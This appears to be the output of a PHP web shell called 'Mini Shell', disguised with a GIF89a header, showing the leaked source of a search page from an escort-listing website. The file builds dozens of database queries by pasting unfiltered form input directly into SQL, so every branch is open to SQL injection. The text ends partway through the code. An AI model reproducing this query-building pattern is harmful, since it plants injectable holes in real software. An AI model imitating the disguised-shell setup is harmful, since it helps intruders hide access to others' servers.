GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/
Upload File :
Current File : /home/serb/www/search_list.php

<?  session_start();
	include("lib/globals.php");
 	include("lib/common.php");
 	include("lib/functions.php");
	$page="my_account";
?>


<? include "includes/header_top.php";?>

				

<body>
 <? include "includes/header.php";?>
<div class="hdr_foo">
	<div class="hrd_ftmenu">
           

    </div>
</div>
	<div class="main_bg">
 		<div style="height:32px;"></div>
        <div  style="width:1000px; margin:0 auto;">
        	<div class="menuleft_contain">
            	<? include "includes/escortdetails_leftcontent.php";?>
            </div>
             <div class="acountright_contain">
             	<? $ii=1;
							if(($_POST['category_type']) &&($_POST['prlCities']) &&($_POST['ethnicity']) &&($_POST['agefrom']) &&($_POST['eye_color']) &&($_POST['hair_color']) &&($_POST['minheight']) &&($_POST['maxheight']) &&($_POST['bust_size']) &&($_POST['shaved']) &&($_POST['orientation']) &&($_POST['smoking']) &&($_POST['service_type']) &&($_POST['traVel']) &&($_POST['friendLy']))
							{
								
							$sql="SELECT * FROM escort_details WHERE status='a' AND category='".$_POST['category_type']."' AND escort_city='".$_POST['prlCities']."' AND ethencity='".$_POST['ethnicity']."' AND (age BETWEEN '".$_POST['agefrom']."' AND '".$_POST['age_max']."') AND eye_color='".$_POST['eye_color']."' AND hair_color='".$_POST['hair_color']."' AND (height BETWEEN '".$_POST['minheight']."' AND '".$_POST['maxheight']."') And bust='".$_POST['bust_size']."' And shaved='".$_POST['shaved']."' ANd orientation='".$_POST['orientation']."' And smoking='".$_POST['smoking']."' And service_type='".$_POST['service_type']."' AND travel='".$_POST['traVel']."' AND friendly='".$_POST['friendLy']."'";
							 $header_title='Female Escort';////all
							}
							
							else if(($_POST['category_type']) &&($_POST['prlCities']) &&($_POST['ethnicity']) &&($_POST['agefrom']) &&($_POST['eye_color']) &&($_POST['hair_color']) &&($_POST['minheight']) &&($_POST['maxheight']) &&($_POST['bust_size']) &&($_POST['shaved']) &&($_POST['orientation']) &&($_POST['smoking']) &&($_POST['service_type']) &&($_POST['traVel'])) 
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND category='".$_POST['category_type']."' AND escort_city='".$_POST['prlCities']."' AND ethencity='".$_POST['ethnicity']."' AND (age BETWEEN '".$_POST['agefrom']."' AND '".$_POST['age_max']."') AND eye_color='".$_POST['eye_color']."' AND hair_color='".$_POST['hair_color']."' AND (height BETWEEN '".$_POST['minheight']."' AND '".$_POST['maxheight']."') And bust='".$_POST['bust_size']."' And shaved='".$_POST['shaved']."' ANd orientation='".$_POST['orientation']."' And smoking='".$_POST['smoking']."' And service_type='".$_POST['service_type']."' AND travel='".$_POST['traVel']."'";
							  }
							
							  
							  else if(($_POST['category_type']) &&($_POST['prlCities']) &&($_POST['ethnicity']) &&($_POST['agefrom']) &&($_POST['eye_color']) &&($_POST['hair_color']) &&($_POST['minheight']) &&($_POST['maxheight']) &&($_POST['bust_size']) &&($_POST['shaved']) &&($_POST['orientation']) &&($_POST['smoking']) &&($_POST['service_type']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND category='".$_POST['category_type']."' AND escort_city='".$_POST['prlCities']."' AND ethencity='".$_POST['ethnicity']."' AND (age BETWEEN '".$_POST['agefrom']."' AND '".$_POST['age_max']."') AND eye_color='".$_POST['eye_color']."' AND hair_color='".$_POST['hair_color']."' AND (height BETWEEN '".$_POST['minheight']."' AND '".$_POST['maxheight']."') And bust='".$_POST['bust_size']."' And shaved='".$_POST['shaved']."' ANd orientation='".$_POST['orientation']."' And smoking='".$_POST['smoking']."' And service_type='".$_POST['service_type']."'";
							  }
							  
							   else if(($_POST['category_type']) &&($_POST['prlCities']) &&($_POST['ethnicity']) &&($_POST['agefrom']) &&($_POST['eye_color']) &&($_POST['hair_color']) &&($_POST['minheight']) &&($_POST['maxheight']) &&($_POST['bust_size']) &&($_POST['shaved']) &&($_POST['orientation']) &&($_POST['smoking']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND category='".$_POST['category_type']."' AND escort_city='".$_POST['prlCities']."' AND ethencity='".$_POST['ethnicity']."' AND (age BETWEEN '".$_POST['agefrom']."' AND '".$_POST['age_max']."') AND eye_color='".$_POST['eye_color']."' AND hair_color='".$_POST['hair_color']."' AND (height BETWEEN '".$_POST['minheight']."' AND '".$_POST['maxheight']."') And bust='".$_POST['bust_size']."' And shaved='".$_POST['shaved']."' ANd orientation='".$_POST['orientation']."' And smoking='".$_POST['smoking']."'";
							  }
							   else if(($_POST['category_type']) &&($_POST['prlCities']) &&($_POST['ethnicity']) &&($_POST['agefrom']) &&($_POST['eye_color']) &&($_POST['hair_color']) &&($_POST['minheight']) &&($_POST['maxheight']) &&($_POST['bust_size']) &&($_POST['shaved']) &&($_POST['orientation']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND category='".$_POST['category_type']."' AND escort_city='".$_POST['prlCities']."' AND ethencity='".$_POST['ethnicity']."' AND (age BETWEEN '".$_POST['agefrom']."' AND '".$_POST['age_max']."') AND eye_color='".$_POST['eye_color']."' AND hair_color='".$_POST['hair_color']."' AND (height BETWEEN '".$_POST['minheight']."' AND '".$_POST['maxheight']."') And bust='".$_POST['bust_size']."' And shaved='".$_POST['shaved']."' AND orientation='".$_POST['orientation']."' ";
							  }
							   else if(($_POST['category_type']) &&($_POST['prlCities']) &&($_POST['ethnicity']) &&($_POST['agefrom']) &&($_POST['eye_color']) &&($_POST['hair_color']) &&($_POST['minheight']) &&($_POST['maxheight']) &&($_POST['bust_size']) &&($_POST['shaved']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND category='".$_POST['category_type']."' AND escort_city='".$_POST['prlCities']."' AND ethencity='".$_POST['ethnicity']."' AND (age BETWEEN '".$_POST['agefrom']."' AND '".$_POST['age_max']."') AND eye_color='".$_POST['eye_color']."' AND hair_color='".$_POST['hair_color']."' AND (height BETWEEN '".$_POST['minheight']."' AND '".$_POST['maxheight']."') And bust='".$_POST['bust_size']."' And shaved='".$_POST['shaved']."' ";
							  }
							  else if(($_POST['category_type']) &&($_POST['prlCities']) &&($_POST['ethnicity']) &&($_POST['agefrom']) &&($_POST['eye_color']) &&($_POST['hair_color']) &&($_POST['minheight']) &&($_POST['maxheight']) &&($_POST['bust_size']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND category='".$_POST['category_type']."' AND escort_city='".$_POST['prlCities']."' AND ethencity='".$_POST['ethnicity']."' AND (age BETWEEN '".$_POST['agefrom']."' AND '".$_POST['age_max']."') AND eye_color='".$_POST['eye_color']."' AND hair_color='".$_POST['hair_color']."' AND (height BETWEEN '".$_POST['minheight']."' AND '".$_POST['maxheight']."') And bust='".$_POST['bust_size']."'";
							  }
							   else if(($_POST['category_type']) &&($_POST['prlCities']) &&($_POST['ethnicity']) &&($_POST['agefrom']) &&($_POST['eye_color']) &&($_POST['hair_color']) &&($_POST['minheight']) &&($_POST['maxheight']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND category='".$_POST['category_type']."' AND escort_city='".$_POST['prlCities']."' AND ethencity='".$_POST['ethnicity']."' AND (age BETWEEN '".$_POST['agefrom']."' AND '".$_POST['age_max']."') AND eye_color='".$_POST['eye_color']."' AND hair_color='".$_POST['hair_color']."' AND (height BETWEEN '".$_POST['minheight']."' AND '".$_POST['maxheight']."') ";
							  }
							   else if(($_POST['category_type']) &&($_POST['prlCities']) &&($_POST['ethnicity']) &&($_POST['agefrom']) &&($_POST['eye_color']) &&($_POST['hair_color']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND category='".$_POST['category_type']."' AND escort_city='".$_POST['prlCities']."' AND ethencity='".$_POST['ethnicity']."' AND (age BETWEEN '".$_POST['agefrom']."' AND '".$_POST['age_max']."') AND eye_color='".$_POST['eye_color']."' AND hair_color='".$_POST['hair_color']."' ";
							  }
							  
							  
							  
							  
							   else if(($_POST['traVel']) && ($_POST['friendLy']) && ($_POST['service_type']) &&($_POST['smoking']) &&($_POST['orientation']) &&($_POST['shaved']) &&($_POST['bust_size']) &&($_POST['minheight']) &&($_POST['maxheight']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND travel='".$_POST['traVel']."' AND friendly='".$_POST['friendLy']."' AND service_type='".$_POST['service_type']."' AND smoking='".$_POST['smoking']."' AND orientation='".$_POST['orientation']."'  And shaved='".$_POST['shaved']."' And bust='".$_POST['bust_size']."' AND (height BETWEEN '".$_POST['minheight']."' AND '".$_POST['maxheight']."')";
							  }
							   else if(($_POST['friendLy']) && ($_POST['service_type']) &&($_POST['smoking']) &&($_POST['orientation']) &&($_POST['shaved']) &&($_POST['bust_size']) &&($_POST['minheight']) &&($_POST['maxheight']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a'  AND friendly='".$_POST['friendLy']."' AND service_type='".$_POST['service_type']."' AND smoking='".$_POST['smoking']."' AND orientation='".$_POST['orientation']."'  And shaved='".$_POST['shaved']."' And bust='".$_POST['bust_size']."' AND (height BETWEEN '".$_POST['minheight']."' AND '".$_POST['maxheight']."')";
							  }
							   else if(($_POST['traVel']) && ($_POST['service_type']) &&($_POST['smoking']) &&($_POST['orientation']) &&($_POST['shaved']) &&($_POST['bust_size']) &&($_POST['minheight']) &&($_POST['maxheight']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND travel='".$_POST['traVel']."'  AND service_type='".$_POST['service_type']."' AND smoking='".$_POST['smoking']."' AND orientation='".$_POST['orientation']."'  And shaved='".$_POST['shaved']."' And bust='".$_POST['bust_size']."' AND (height BETWEEN '".$_POST['minheight']."' AND '".$_POST['maxheight']."')";
							  }
							  
							  
							  
							  
							  
							   else if(($_POST['traVel']) && ($_POST['friendLy']) && ($_POST['service_type']) &&($_POST['smoking']) &&($_POST['orientation']) &&($_POST['shaved']) &&($_POST['bust_size']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND travel='".$_POST['traVel']."' AND friendly='".$_POST['friendLy']."' AND service_type='".$_POST['service_type']."' AND smoking='".$_POST['smoking']."' AND orientation='".$_POST['orientation']."'  And shaved='".$_POST['shaved']."' And bust='".$_POST['bust_size']."'";
							  }
							  
							  
							   else if(($_POST['service_type']) &&($_POST['smoking']) &&($_POST['orientation']) &&($_POST['shaved']) &&($_POST['bust_size']) &&($_POST['minheight']) &&($_POST['maxheight']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a'  AND service_type='".$_POST['service_type']."' AND smoking='".$_POST['smoking']."' AND orientation='".$_POST['orientation']."'  And shaved='".$_POST['shaved']."' And bust='".$_POST['bust_size']."' AND (height BETWEEN '".$_POST['minheight']."' AND '".$_POST['maxheight']."')";
							  }
							   else if(($_POST['friendLy']) &&($_POST['smoking']) &&($_POST['orientation']) &&($_POST['shaved']) &&($_POST['bust_size']) &&($_POST['minheight']) &&($_POST['maxheight']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a'  AND friendly='".$_POST['friendLy']."'  AND smoking='".$_POST['smoking']."' AND orientation='".$_POST['orientation']."'  And shaved='".$_POST['shaved']."' And bust='".$_POST['bust_size']."' AND (height BETWEEN '".$_POST['minheight']."' AND '".$_POST['maxheight']."')";
							  }
							   else if(($_POST['traVel']) &&($_POST['smoking']) &&($_POST['orientation']) &&($_POST['shaved']) &&($_POST['bust_size']) &&($_POST['minheight']) &&($_POST['maxheight']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND travel='".$_POST['traVel']."' AND smoking='".$_POST['smoking']."' AND orientation='".$_POST['orientation']."'  And shaved='".$_POST['shaved']."' And bust='".$_POST['bust_size']."' AND (height BETWEEN '".$_POST['minheight']."' AND '".$_POST['maxheight']."')";
							  }
							  
							  else if(($_POST['friendLy']) && ($_POST['service_type']) &&($_POST['smoking']) &&($_POST['orientation']) &&($_POST['shaved']) &&($_POST['bust_size']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND friendly='".$_POST['friendLy']."' AND service_type='".$_POST['service_type']."' AND smoking='".$_POST['smoking']."' AND orientation='".$_POST['orientation']."'  And shaved='".$_POST['shaved']."' And bust='".$_POST['bust_size']."'";
							  } 
							  else if(($_POST['traVel']) && ($_POST['service_type']) &&($_POST['smoking']) &&($_POST['orientation']) &&($_POST['shaved']) &&($_POST['bust_size']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND travel='".$_POST['traVel']."' AND service_type='".$_POST['service_type']."' AND smoking='".$_POST['smoking']."' AND orientation='".$_POST['orientation']."'  And shaved='".$_POST['shaved']."' And bust='".$_POST['bust_size']."'";
							  }
							  
							  
							  
							  else if(($_POST['traVel']) && ($_POST['friendLy']) && ($_POST['service_type']) &&($_POST['smoking']) &&($_POST['orientation']) &&($_POST['shaved']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND travel='".$_POST['traVel']."' AND friendly='".$_POST['friendLy']."' AND service_type='".$_POST['service_type']."' AND smoking='".$_POST['smoking']."' AND orientation='".$_POST['orientation']."'  And shaved='".$_POST['shaved']."'";
							  }
							  
							  else if(($_POST['service_type']) &&($_POST['smoking']) &&($_POST['orientation']) &&($_POST['shaved']) &&($_POST['bust_size']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND service_type='".$_POST['service_type']."' AND smoking='".$_POST['smoking']."' AND orientation='".$_POST['orientation']."'  And shaved='".$_POST['shaved']."' And bust='".$_POST['bust_size']."'";
							  }
							  else if(($_POST['friendLy']) &&($_POST['smoking']) &&($_POST['orientation']) &&($_POST['shaved']) &&($_POST['bust_size']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND friendly='".$_POST['friendLy']."' AND smoking='".$_POST['smoking']."' AND orientation='".$_POST['orientation']."'  And shaved='".$_POST['shaved']."' And bust='".$_POST['bust_size']."'";
							  }
							  else if(($_POST['traVel']) &&($_POST['smoking']) &&($_POST['orientation']) &&($_POST['shaved']) &&($_POST['bust_size']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND travel='".$_POST['traVel']."' AND smoking='".$_POST['smoking']."' AND orientation='".$_POST['orientation']."'  And shaved='".$_POST['shaved']."' And bust='".$_POST['bust_size']."'";
							  }
							  
							  
							  
							   else if(($_POST['smoking']) &&($_POST['orientation']) &&($_POST['shaved']) &&($_POST['bust_size']) &&($_POST['minheight']) &&($_POST['maxheight']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND smoking='".$_POST['smoking']."' AND orientation='".$_POST['orientation']."'  And shaved='".$_POST['shaved']."' And bust='".$_POST['bust_size']."' AND (height BETWEEN '".$_POST['minheight']."' AND '".$_POST['maxheight']."')";
							  }
							   else if(($_POST['service_type']) &&($_POST['orientation']) &&($_POST['shaved']) &&($_POST['bust_size']) &&($_POST['minheight']) &&($_POST['maxheight']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND service_type='".$_POST['service_type']."'  AND orientation='".$_POST['orientation']."'  And shaved='".$_POST['shaved']."' And bust='".$_POST['bust_size']."' AND (height BETWEEN '".$_POST['minheight']."' AND '".$_POST['maxheight']."')";
							  }
							   else if(($_POST['friendLy']) &&($_POST['orientation']) &&($_POST['shaved']) &&($_POST['bust_size']) &&($_POST['minheight']) &&($_POST['maxheight']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND friendly='".$_POST['friendLy']."' AND orientation='".$_POST['orientation']."'  And shaved='".$_POST['shaved']."' And bust='".$_POST['bust_size']."' AND (height BETWEEN '".$_POST['minheight']."' AND '".$_POST['maxheight']."')";
							  }
							   else if(($_POST['traVel']) &&($_POST['orientation']) &&($_POST['shaved']) &&($_POST['bust_size']) &&($_POST['minheight']) &&($_POST['maxheight']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND travel='".$_POST['traVel']."' AND orientation='".$_POST['orientation']."'  And shaved='".$_POST['shaved']."' And bust='".$_POST['bust_size']."' AND (height BETWEEN '".$_POST['minheight']."' AND '".$_POST['maxheight']."')";
							  }
							  
							  
							   else if(($_POST['friendLy']) && ($_POST['service_type']) &&($_POST['smoking']) &&($_POST['orientation']) &&($_POST['shaved']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND friendly='".$_POST['friendLy']."' AND service_type='".$_POST['service_type']."' AND smoking='".$_POST['smoking']."' AND orientation='".$_POST['orientation']."'  And shaved='".$_POST['shaved']."'";
							  }
							   else if(($_POST['traVel']) && ($_POST['service_type']) &&($_POST['smoking']) &&($_POST['orientation']) &&($_POST['shaved']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND travel='".$_POST['traVel']."' AND service_type='".$_POST['service_type']."' AND smoking='".$_POST['smoking']."' AND orientation='".$_POST['orientation']."'  And shaved='".$_POST['shaved']."'";
							  }
							  
							  
							  
							  
							   else if(($_POST['traVel']) && ($_POST['friendLy']) && ($_POST['service_type']) &&($_POST['smoking']) &&($_POST['orientation']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND travel='".$_POST['traVel']."' AND friendly='".$_POST['friendLy']."' AND service_type='".$_POST['service_type']."' AND smoking='".$_POST['smoking']."' AND orientation='".$_POST['orientation']."' ";
							  }
							  
							  
							  
							   else if(($_POST['orientation']) &&($_POST['shaved']) &&($_POST['bust_size']) &&($_POST['minheight']) &&($_POST['maxheight']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND orientation='".$_POST['orientation']."'  And shaved='".$_POST['shaved']."' And bust='".$_POST['bust_size']."' AND (height BETWEEN '".$_POST['minheight']."' AND '".$_POST['maxheight']."')";
							  }
							   else if(($_POST['smoking']) &&($_POST['shaved']) &&($_POST['bust_size']) &&($_POST['minheight']) &&($_POST['maxheight']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND smoking='".$_POST['smoking']."' And shaved='".$_POST['shaved']."' And bust='".$_POST['bust_size']."' AND (height BETWEEN '".$_POST['minheight']."' AND '".$_POST['maxheight']."')";
							  }
							   else if(($_POST['service_type']) &&($_POST['shaved']) &&($_POST['bust_size']) &&($_POST['minheight']) &&($_POST['maxheight']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a'  AND service_type='".$_POST['service_type']."' And shaved='".$_POST['shaved']."' And bust='".$_POST['bust_size']."' AND (height BETWEEN '".$_POST['minheight']."' AND '".$_POST['maxheight']."')";
							  }
							   else if(($_POST['friendLy']) &&($_POST['shaved']) &&($_POST['bust_size']) &&($_POST['minheight']) &&($_POST['maxheight']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a'  AND friendly='".$_POST['friendLy']."' And shaved='".$_POST['shaved']."' And bust='".$_POST['bust_size']."' AND (height BETWEEN '".$_POST['minheight']."' AND '".$_POST['maxheight']."')";
							  }
							   else if(($_POST['traVel']) &&($_POST['shaved']) &&($_POST['bust_size']) &&($_POST['minheight']) &&($_POST['maxheight']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND travel='".$_POST['traVel']."' And shaved='".$_POST['shaved']."' And bust='".$_POST['bust_size']."' AND (height BETWEEN '".$_POST['minheight']."' AND '".$_POST['maxheight']."')";
							  }
							  
							  
							  else if(($_POST['smoking']) &&($_POST['orientation']) &&($_POST['shaved']) &&($_POST['bust_size']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND smoking='".$_POST['smoking']."' AND orientation='".$_POST['orientation']."'  And shaved='".$_POST['shaved']."' And bust='".$_POST['bust_size']."'";
							  }
							  else if(($_POST['service_type']) &&($_POST['orientation']) &&($_POST['shaved']) &&($_POST['bust_size']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND service_type='".$_POST['service_type']."' AND orientation='".$_POST['orientation']."'  And shaved='".$_POST['shaved']."' And bust='".$_POST['bust_size']."'";
							  }
							  else if(($_POST['friendLy']) &&($_POST['orientation']) &&($_POST['shaved']) &&($_POST['bust_size']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND friendly='".$_POST['friendLy']."' AND orientation='".$_POST['orientation']."'  And shaved='".$_POST['shaved']."' And bust='".$_POST['bust_size']."'";
							  }
							  else if(($_POST['traVel']) &&($_POST['orientation']) &&($_POST['shaved']) &&($_POST['bust_size']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND travel='".$_POST['traVel']."' AND orientation='".$_POST['orientation']."'  And shaved='".$_POST['shaved']."' And bust='".$_POST['bust_size']."'";
							  }
							  
							  
							   else if(($_POST['service_type']) &&($_POST['smoking']) &&($_POST['orientation']) &&($_POST['shaved']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND service_type='".$_POST['service_type']."' AND smoking='".$_POST['smoking']."' AND orientation='".$_POST['orientation']."'  And shaved='".$_POST['shaved']."'";
							  }
							   else if(($_POST['friendLy']) &&($_POST['smoking']) &&($_POST['orientation']) &&($_POST['shaved']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a'  AND friendly='".$_POST['friendLy']."' AND smoking='".$_POST['smoking']."' AND orientation='".$_POST['orientation']."'  And shaved='".$_POST['shaved']."'";
							  }
							   else if(($_POST['traVel']) &&($_POST['smoking']) &&($_POST['orientation']) &&($_POST['shaved']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a'  AND travel='".$_POST['traVel']."' AND smoking='".$_POST['smoking']."' AND orientation='".$_POST['orientation']."'  And shaved='".$_POST['shaved']."'";
							  }
							  
							  
							  
							  
							  else if(($_POST['friendLy']) && ($_POST['service_type']) &&($_POST['smoking']) &&($_POST['orientation']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND friendly='".$_POST['friendLy']."' AND service_type='".$_POST['service_type']."' AND smoking='".$_POST['smoking']."' AND orientation='".$_POST['orientation']."' ";
							  }
							  else if(($_POST['traVel']) && ($_POST['service_type']) &&($_POST['smoking']) &&($_POST['orientation']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND travel='".$_POST['traVel']."' AND service_type='".$_POST['service_type']."' AND smoking='".$_POST['smoking']."' AND orientation='".$_POST['orientation']."' ";
							  }
							   else if(($_POST['traVel']) && ($_POST['friendLy']) &&($_POST['smoking']) &&($_POST['orientation']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND travel='".$_POST['traVel']."' AND friendly='".$_POST['friendLy']."' AND smoking='".$_POST['smoking']."' AND orientation='".$_POST['orientation']."' ";
							  }
							 					 
							 
							 
							  else if(($_POST['traVel']) && ($_POST['friendLy']) && ($_POST['service_type']) &&($_POST['smoking']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND travel='".$_POST['traVel']."' AND friendly='".$_POST['friendLy']."' AND service_type='".$_POST['service_type']."' AND smoking='".$_POST['smoking']."'";
							  }
							   else if(($_POST['shaved']) &&($_POST['bust_size']) &&($_POST['minheight']) &&($_POST['maxheight']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' And shaved='".$_POST['shaved']."' And bust='".$_POST['bust_size']."' AND (height BETWEEN '".$_POST['minheight']."' AND '".$_POST['maxheight']."')";
							  }
							   else if(($_POST['orientation']) &&($_POST['bust_size']) &&($_POST['minheight']) &&($_POST['maxheight']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a'  AND orientation='".$_POST['orientation']."'  And bust='".$_POST['bust_size']."' AND (height BETWEEN '".$_POST['minheight']."' AND '".$_POST['maxheight']."')";
							  }
							   else if(($_POST['smoking']) &&($_POST['bust_size']) &&($_POST['minheight']) &&($_POST['maxheight']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a'  AND smoking='".$_POST['smoking']."'  And bust='".$_POST['bust_size']."' AND (height BETWEEN '".$_POST['minheight']."' AND '".$_POST['maxheight']."')";
							  }
							   else if( ($_POST['service_type']) &&($_POST['bust_size']) &&($_POST['minheight']) &&($_POST['maxheight']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a'  AND service_type='".$_POST['service_type']."' And bust='".$_POST['bust_size']."' AND (height BETWEEN '".$_POST['minheight']."' AND '".$_POST['maxheight']."')";
							  }
							   else if(($_POST['friendLy']) &&($_POST['bust_size']) &&($_POST['minheight']) &&($_POST['maxheight']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a'  AND friendly='".$_POST['friendLy']."'  And bust='".$_POST['bust_size']."' AND (height BETWEEN '".$_POST['minheight']."' AND '".$_POST['maxheight']."')";
							  }
							   else if(($_POST['traVel']) &&($_POST['bust_size']) &&($_POST['minheight']) &&($_POST['maxheight']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND travel='".$_POST['traVel']."' And bust='".$_POST['bust_size']."' AND (height BETWEEN '".$_POST['minheight']."' AND '".$_POST['maxheight']."')";
							  }
							  
							  
							  else if(($_POST['orientation']) &&($_POST['shaved']) &&($_POST['bust_size']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND orientation='".$_POST['orientation']."'  And shaved='".$_POST['shaved']."' And bust='".$_POST['bust_size']."'";
							  }
							  else if(($_POST['smoking']) &&($_POST['shaved']) &&($_POST['bust_size']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a'  AND smoking='".$_POST['smoking']."' And shaved='".$_POST['shaved']."' And bust='".$_POST['bust_size']."'";
							  }
							  else if(($_POST['service_type']) &&($_POST['shaved']) &&($_POST['bust_size']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND service_type='".$_POST['service_type']."' And shaved='".$_POST['shaved']."' And bust='".$_POST['bust_size']."'";
							  }
							  else if(($_POST['friendLy']) &&($_POST['shaved']) &&($_POST['bust_size']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a'  AND friendly='".$_POST['friendLy']."' And shaved='".$_POST['shaved']."' And bust='".$_POST['bust_size']."'";
							  }
							  else if(($_POST['traVel']) &&($_POST['shaved']) &&($_POST['bust_size']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND travel='".$_POST['traVel']."'  And shaved='".$_POST['shaved']."' And bust='".$_POST['bust_size']."'";
							  }
							  
							  
							  
							  
							   else if(($_POST['smoking']) &&($_POST['orientation']) &&($_POST['shaved']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND smoking='".$_POST['smoking']."' AND orientation='".$_POST['orientation']."'  And shaved='".$_POST['shaved']."'";
							  }
							   else if(($_POST['traVel']) &&($_POST['orientation']) &&($_POST['shaved']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND travel='".$_POST['traVel']."' AND orientation='".$_POST['orientation']."'  And shaved='".$_POST['shaved']."'";
							  }
							  else if( ($_POST['friendLy']) &&($_POST['orientation']) &&($_POST['shaved']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND friendly='".$_POST['friendLy']."' AND orientation='".$_POST['orientation']."'  And shaved='".$_POST['shaved']."'";
							  }
							 
							  
							  
							  
							   else if(($_POST['service_type']) &&($_POST['smoking']) &&($_POST['orientation']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a'  AND service_type='".$_POST['service_type']."' AND smoking='".$_POST['smoking']."' AND orientation='".$_POST['orientation']."' ";
							  }
							   else if(($_POST['friendLy']) &&($_POST['smoking']) &&($_POST['orientation']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND friendly='".$_POST['friendLy']."' AND smoking='".$_POST['smoking']."' AND orientation='".$_POST['orientation']."' ";
							  }
							   else if(($_POST['traVel']) &&($_POST['smoking']) &&($_POST['orientation']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND travel='".$_POST['traVel']."'  AND smoking='".$_POST['smoking']."' AND orientation='".$_POST['orientation']."' ";
							  }
							   else if(($_POST['friendLy']) && ($_POST['service_type']) &&($_POST['orientation']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a'  AND friendly='".$_POST['friendLy']."' AND service_type='".$_POST['service_type']."' AND orientation='".$_POST['orientation']."' ";
							  }
							   else if(($_POST['traVel']) && ($_POST['service_type']) &&($_POST['orientation']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND travel='".$_POST['traVel']."'  AND service_type='".$_POST['service_type']."'  AND orientation='".$_POST['orientation']."' ";
							  }
							  
							   else if(($_POST['traVel']) && ($_POST['friendLy']) &&($_POST['orientation']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND travel='".$_POST['traVel']."' AND friendly='".$_POST['friendLy']."' AND orientation='".$_POST['orientation']."' ";
							  }
							  				  
							  
							  
							  
							   else if(($_POST['traVel']) && ($_POST['service_type']) &&($_POST['smoking']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND travel='".$_POST['traVel']."' AND service_type='".$_POST['service_type']."' AND smoking='".$_POST['smoking']."'";
							  }
							  else if(($_POST['friendLy']) && ($_POST['service_type']) &&($_POST['smoking']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a'  AND friendly='".$_POST['friendLy']."' AND service_type='".$_POST['service_type']."' AND smoking='".$_POST['smoking']."'";
							  }
							   else if(($_POST['traVel']) && ($_POST['friendLy']) &&($_POST['smoking']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND travel='".$_POST['traVel']."' AND friendly='".$_POST['friendLy']."' AND smoking='".$_POST['smoking']."'";
							  }
							 
							  else if(($_POST['traVel']) && ($_POST['friendLy']) && ($_POST['service_type']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND travel='".$_POST['traVel']."' AND friendly='".$_POST['friendLy']."' AND service_type='".$_POST['service_type']."'";
							  }
							   else if(($_POST['bust_size']) &&($_POST['minheight']) &&($_POST['maxheight']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND bust='".$_POST['bust_size']."' AND (height BETWEEN '".$_POST['minheight']."' AND '".$_POST['maxheight']."')";
							  }
